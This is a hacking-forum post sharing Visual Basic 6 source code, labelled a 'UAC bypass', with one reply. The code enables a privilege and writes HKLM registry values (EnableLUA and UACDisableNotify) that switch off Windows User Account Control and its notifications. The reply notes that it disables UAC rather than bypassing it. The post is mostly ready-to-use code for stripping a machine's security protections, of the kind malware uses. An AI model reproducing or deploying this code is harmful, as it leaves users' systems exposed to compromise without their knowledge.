Visual Basic UAC Bypass (VB6) SRC

[J0k3rj0k3r]

[HIDE-THANKS]

>Public Declare Function RtlAdjustPrivilege Lib "NTDLL" (ByVal Privilege As Long, ByVal Enable As Boolean, ByVal Client As Boolean, WasEnabled As Long) As Long

Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Long, ByVal cbData As Long) As Long
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Public Sub DisableUac()
   Dim lKey As Long
   
   Call RtlAdjustPrivilege(17, True, True, 0)
   If RegOpenKeyEx(&H80000002, "SOFTWARE\Microsoft\Security Center", 0&, &H20000 Or &H2& Or &H4&, lKey) = 0& Then
       If (RegSetValueExA(lKey, "UACDisableNotify", 0, 4, 0, 4) = 0&) Then
           RegCloseKey lKey
       End If
   End If
   If RegOpenKeyEx(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", 0&, &H20000 Or &H2& Or &H4&, lKey) = 0& Then
       If (RegSetValueExA(lKey, "EnableLUA", 0, 4, 0, 4) = 0&) Then
           RegCloseKey lKey
       End If
   End If
End Sub

[/HIDE-THANKS]

 

[007]

Re: UAC Bypass (VB6) SRC

Are You sure this isn't UAC DISABLE ? The title may be misleading, as there is no bypass in here